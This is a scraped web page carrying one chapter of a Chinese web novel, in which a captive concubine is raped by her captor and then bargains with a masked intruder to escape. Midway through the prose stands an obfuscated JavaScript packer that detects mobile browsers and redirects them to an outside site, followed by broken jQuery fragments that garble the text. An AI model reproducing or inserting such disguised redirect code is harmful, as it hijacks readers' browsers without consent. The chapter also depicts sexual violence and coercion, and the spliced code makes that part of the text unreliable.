默认冷灰
24号文字
方正启体

2. 第二章 借力

作者:花时有序本书字数:K更新时间:
    崔芜不知自己昏迷了多久,醒来时,人已躺在锦绣丛生的罗汉床上。


    床边坐着一道身形,面容阴鸷、眼神森然,正是孙彦。


    眼看崔芜醒了,他冷哼一声:“醒了就起来,我有话问你。”


    崔芜不答,只盯着孔雀纱罗床帐上绵绵密密的图案,金银细丝绣出寓意多子的石榴,像一个豁牙咧嘴的讽刺。


    孙彦见她不说话,脸色越发阴沉:“倒是命大。这些年,父亲下令处置了不少不懂事的婢妾,能从他手里捡回命的,你还是第一个。”


    这话让崔芜凝聚起少许神智,想起昏迷前看见的那道身影,眸子黑沉。


    她知道孙彦正观察着自己,稍露破绽就会被抓住把柄,索性做出冷淡厌倦的神色:“你到底想说什么?”


    孙彦却是不动声色地松了口气,心道:总算开口了。


    “我听说消息赶来时,其实已经迟了。谁知进了院子,发现从亲兵到婆子,都被人打晕在地,”他说,“我倒是想问问你,从哪请来的帮手?这样好的本事,连我节度使府都能来去自如。”


    崔芜刚醒,人倦得很,懒怠与他多说话,只道:“我若有这个能耐,早想法子逃出这鬼地方,还能被你逮住?”


    理是这个理没错,孙彦此问更多是在试探,并非当真怀疑她。


    然而崔芜这般冷漠厌烦的口吻,好似孙府后院是什么刀山火海滚油锅,烫得叫人待不住脚。


    孙彦听在耳中,不由戾气横生。


    “我劝你早些熄了这心思,”他语气越发不善,“等正室夫人进门,我自会纳了你。”


    崔芜语气比他还冷,仍是一句:“我不做妾。”


    孙彦没曾想她性子如此倔强,吃了这许多责罚依然不改前言,忿恨道:“馆阁女子从来柔顺媚人,怎地养出你这般倔驴脾性?是你那鸨母太宽和了,还是我太纵着你了!”


    崔芜冷笑:“是啊,我就是头倔驴,大郎君既然嫌弃,又何必给自己找不痛快?”


    孙彦沉下眉眼:“想激我逐你出府门?做梦!你这辈子生是我孙家的人,死亦是我孙家的鬼。”


    崔芜怒到极致,反而冷静下来:“我就是我,身体发肤、所思所想,皆由自己主宰。终此一生,你都休想染指分毫!”


    孙彦气得浑身乱颤,突然面露森然:“好一个休想染指分毫!今晚我便要你知道,你到底是谁的人!”


    他仗着孔武有力,将崔芜摁在枕上,“嗤啦”一声,新换的衣裳再次撕裂,从肩头干脆剥落。


    崔芜脸色惨白,紧咬的嘴唇渗出一线血痕。


    两侧床帐随即扯落,沉重的紫檀木架子床微微颤晃。


    这不是第一回。


    若说乱世人命比草卑贱,那女子就是卑贱中的卑贱。她们是玩意儿、是摆件儿、是所有物和附属品,处置不需要征求本人意见。


    于土著女子而言,肌肤之亲足以缔造男女间最亲密的关系,建立无法拆分的联系。但是对崔芜来说,这个论调显然不成立。


    有谁会因为被恶犬咬了口,就对野狗情根深种、无法自拔?


    另一边,孙彦泻了心头憋闷数日的郁火,起身时格外心满意足。他穿戴好衣袍,正要束上玉带,忽然心有所动,转身吩咐道:“替我束好腰带。”


    崔芜懒得搭理他,裹在被中翻了个身。


    孙彦先是愕然,继而恼火,待要发作,门外却传来急促的脚步声,有人低声道:“郎君,大人传召。”


    孙彦脸色阴晴不定,想着要将人心甘情愿地拴在身边,总得用些怀柔手段,于是道:“罢了,你且歇息,我忙完了再来瞧你。”


    知父莫若子,没人比孙彦更清楚自己父亲的杀伐手段,若不能说服这位坐镇吴越的镇海军节度使,崔芜这条捡回的小命随时可能再次弄丢。


    是以匆匆去了。


    崔芜身心俱疲,连眼睛都不想睁,耳听得孙彦走出门去,她非但没觉得放松,反而从胸臆深处涌上一腔烦闷,猛地扑到床沿,嘶声干呕起来。


    她身份尴尬,所处院落更是偏僻,除了门口看守的下仆,平日里鲜少有人出入。这一番动静并未惊动婢女,更不用指望有人进来探视,崔芜只能撑着虚透的身子,慢慢挪到案前,给自己倒了碗茶。


    入口才发现,是冷的。


    崔芜渴得嗓子冒烟,明知饮食生冷无益,还是将冷茶一口气喝完。


    忽听门外传来脚步声,压得极轻,却没逃过崔芜耳朵。


    这不是丫鬟仆婢的脚步,女婢们走不出这样大的步子。也不是府中亲卫,盖因他们的脚步声重得多。


    崔芜心念微动,猛地拉开门。


    下一瞬,她和一个黑衣蒙面的陌生男人目光相遇。


    ***


    半刻钟后,走廊上再次传来脚步声,这一回粗重得多,也杂乱得多。


    是府中巡值的亲兵。


    自从孙昭派人赐死崔芜,孙彦得了教训,将院中仆婢换作得用的亲卫,既是监视,亦是保护。


    为首之人是孙彦身边第一得力的亲随,名叫寒汀。他大约是得了孙彦嘱咐,抬腿踹门毫无顾虑,进屋后第一时间环顾周遭,没发现可疑身影,这才微微松了口气。


    “芳荃姑娘,”他对床上的崔芜抱拳,视线谨慎地盯着鞋尖,“冒犯了。”


    崔芜像是刚睡醒,裹着被子坐起身,反感地皱了皱眉。


    她在青楼时的花名是“紫鸢”,孙彦嫌俗气,改成了芳荃,意为香草。


    就好像草比花儿更高贵似的。


    “方才有只野猫闹事,郎君吩咐咱们驱走,莫要惊扰姑娘,”寒汀很客气,“姑娘可曾听见异响?”


    “有啊,”崔芜答得干脆,“你方才踹门的动静那么大,我又不是聋子,当然听得见。”


    寒汀噎了片刻:“那姑娘可曾见到可疑之人?”


    崔芜不耐:“你找的到底是人还是猫?”


    寒汀被她连怼两回,想起自家郎君虎口处那道入肉三分的齿痕,心说:这女子真是又悍又利,也不知自家郎君看上了她什么。


    他定了定神,复述孙彦的吩咐:“郎君吩咐,这院子太过冷僻,不宜养伤,为您重新安排了居所,还请姑娘收拾东西,准备移步。”


    崔芜像是倦得厉害,懒懒倚在床头,眼睛都睁不开:“我在这儿待得挺好,不想折腾。”


    寒汀嘴上客气,却不容质疑:“郎君有命,请姑娘挪步。”


    崔芜逃跑失败,又连两遭折腾,连折辱带刑囚,早就憋了一腔邪火。


    如今得了发泄的出口,索性将被褥掀开:“我说了,不走,你听不懂人话吗!”


    寒汀抬眸:“郎君的脾气,姑娘是知道的,莫要……”


    话音戛然而止,他看清了崔芜此刻形容,瞳孔因震惊而剧烈收缩。


    月白色的杭绸抱腹遮得住胸前风光,却掩不住脖颈肩头的柔白肌肤。


    比曼妙身姿更叫人挪不开眼的,是她后背上的道道血痕,一路攀爬上脖颈,仿佛一双鲜血淋漓的手,狠狠掐住了脖颈。


    “反正我今儿个累了,不打算挪动地方,”崔芜懒洋洋地支着脑袋,放任曼妙身姿暴露在一干护卫眼中,“诸位若执意勉强,就请将我抬出去吧。”


    寒汀:“……”


    眼前春光乍现,他却万万不敢窥视,忙不迭偏开头:“此、此事,属下做不了主,这就禀报郎君定夺。”


    说完,逃也似地跑了。


    崔芜没急着动,侧着耳朵听了会儿,确认寒汀去得远了,将里侧裹成一卷的毯子扒拉下:“人走了,放心吧。”


    毯子滑落,露出黑衣男人罩着黑巾的面孔。


    他动作利落地撑起身,谁知罗汉床空间有限,这么一起一坐,不可避免地与崔芜发生肢体蹭触。


    而她现在外衫尽除,仅着一件抱腹。


    柔腻的触感过电般掠过指尖,黑衣人身形微僵,不敢再有动作,甚至不敢细看,自己碰到的究竟是何处。


    他挪开视线,低声说了句什么。


    崔芜没留神,一时错过了:“你说什么?”


    “你……”黑衣人开口居然打了个磕绊,咳嗽两声才若无其事道,“你且将衣裳穿好。”


    崔芜:“……”


    她一边暗自嘀咕“都闯人闺房了,连这点阵仗都不敢瞧,”一边将衣裳粗粗拉好:“这样成了吧?”


    黑衣人总算将头转了回来。


    他动作飞快地掀被下床,转过身时,已然目光沉静。


    “在下与姑娘素未谋面,”黑衣人说,“姑娘既是孙府中人,为何相助在下?”


    崔芜奇怪:“明明是你先救的我,我不过还你一个人情,很意外吗?”


    黑衣人:“……”


    崔芜笑了笑:“孙昭将我赐死之际,有人打晕侍卫救了我一命。”


    “你以为我当时咳得睁不开眼,就认不出救命恩人吗?”


    黑衣人沉默片刻,没问崔芜是怎么认出他的。


    “既如此,在下与姑娘两不相欠,”他道,“姑娘保重。”


    说完,转身要走。


    谁知崔芜另有打算,在他抬腿前先发制人:“不管你潜入孙府有何意图,我能帮你。”


    黑衣人脚步顿住。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458108|169612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    崔芜原本只有三分把握,见他反应,又添了两成:“此地是节度使府,不存在认错路的可能,不请自来,不是行刺就是盗宝。节度使府守卫森严,单你一人,险阻重重,如果有人相助,则事半功倍。”


    黑衣人思忖片刻,转过头来。


    “所以呢?”


    崔芜:“你也看到了,孙昭要我性命,我跟他们可不是一路人。既如此,何不互帮互助,各取所需?”


    她要将主动权握在手里,不给对方沉吟质疑的机会,一口气把话说完:“不管行刺还是盗宝,都得找对地方,你的目标是哪?正院、库房,还是书房?”


    黑衣人起先不答,听到最后一处地点,倏尔眯眼。


    崔芜多年青楼生涯不是白熬的,只凭一个眼神就判断出,自己猜对了。


    “原来你的目标是书房,”她倒了冷茶,用手指沾着,画出简易的示意图,“这是西偏院,这是正院,这是后花园……正院原也有个书房,不过是做样子看的,真正存放机要文卷的,是花园东首的小院子。”


    黑衣人就算原本存疑,见她画出地形图,也不由凝肃了眼神。


    “此地守卫外松内紧,除了明面上的护卫,还有蛰伏暗处的部曲,加起来不下二三十人,更有机关暗箭,触之即死,”崔芜说,“阁下能神不知鬼不觉地出现在我面前,身手想必不俗,但你只有一人,想同时避开守卫与机关,难度可不小。”


    她说的有理有据,黑衣人听进去了:“你有法子?”


    崔芜敢开口,便是在心里做了全盘推算:“先告诉我,你到底要找什么?”


    她几乎已经确定,黑衣人不是为行刺而来,否则他要刨根究底的就不是书房所在,而是孙家父子的行踪。


    黑衣人沉默不语,显然还没完全相信她。


    崔芜想了想,要他对一个刚认识没多久的人付诸信任,确实有点强人所难。事实上,她也无法完全肯定对方值得合作,只是她没有选择。


    孙家父子执掌镇海军,于江浙一带只手遮天,单凭崔芜自己,想逃出节度使府千难万难,只能借助外力。


    “好吧,你不信我,我不勉强,”思忖再三,崔芜主动让了一步,“不管你想找什么,我都可以帮你进入书房,但我有个条件。”


    这一回,黑衣人终于有了反应:“什么条件?”


    崔芜铺垫了这么多,等的就是这一句:“帮我离开润州城!你能潜入节度使府,应该有法子吧?”


    这个条件不算简单,黑衣人再次沉默。


    崔芜心中火烧火燎,脸上却不露分毫,一只白如羊脂的手抵住窗板,就听本已远去的脚步声再次挨近。她扬起下巴,半是挑衅半是催促地扬了扬眉:时间有限,考虑好了吗?


    黑衣人没有太多选择,飞快权衡过,下定决断:“可以。”


    崔芜却没这么好糊弄,将莹白掌心伸过去。


    黑衣人皱眉看着她。


    崔芜理直气壮:“口说无凭,信物为证。”


    黑衣人没想到这个看似娇柔的小女子这般难缠,略作思忖,将匕首还入鞘中,一并递过。


    “你打算怎么做?”


    崔芜眼波流转:“简单,烦请郎君替我传封信。”


    她捡了张嵌入花瓣的绯红笺纸,提笔写下两句话:“从我这偏院出去,往东走一射之地,是一处名叫‘松涛斋’的院子。郎君只需避开守卫,将信留在桌案上即可。”


    松涛斋是什么地方?


    那是孙昭次子,孙彦同胞兄弟孙景的居所。


    信笺上并无他语,只有两句前朝诗句:自有春愁正断魂,不堪芳草思王孙。


    情意绵绵,应时应景,衬着清婉秀丽的簪花小楷,以及绯红笺纸上若有似无的幽香,几能叫人醉倒。


    黑衣人有点明白她想干什么了。


    “镇海军节度使之子,自小耳濡目染,怕是没那么容易上当,”他沉声道,“若姑娘的计策不奏效,又当如何?”


    崔芜嫣然一笑:“先试试。总归没坏处,不奏效再想别的辙。”


    黑衣人定定瞧了她片刻,闪身离去。


    试试的结果……自然是管用的。


    一刻钟后,院门口传来骚动声,依稀是看守崔芜的侍卫在拦人。然而闯关的这位是个纨绔性子,被拦后非但不肯知难而退,反而和亲卫杠上了。


    “郎君有命?我不姓孙?我不是孙家郎君?怎么我在自己家,还有地方不能去!”


    “都给我让开!今儿个谁敢拦我,我打断他的腿!”


    屋里的崔芜听着动静,嘴角浮起一丝极微妙的笑意。


    事成了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)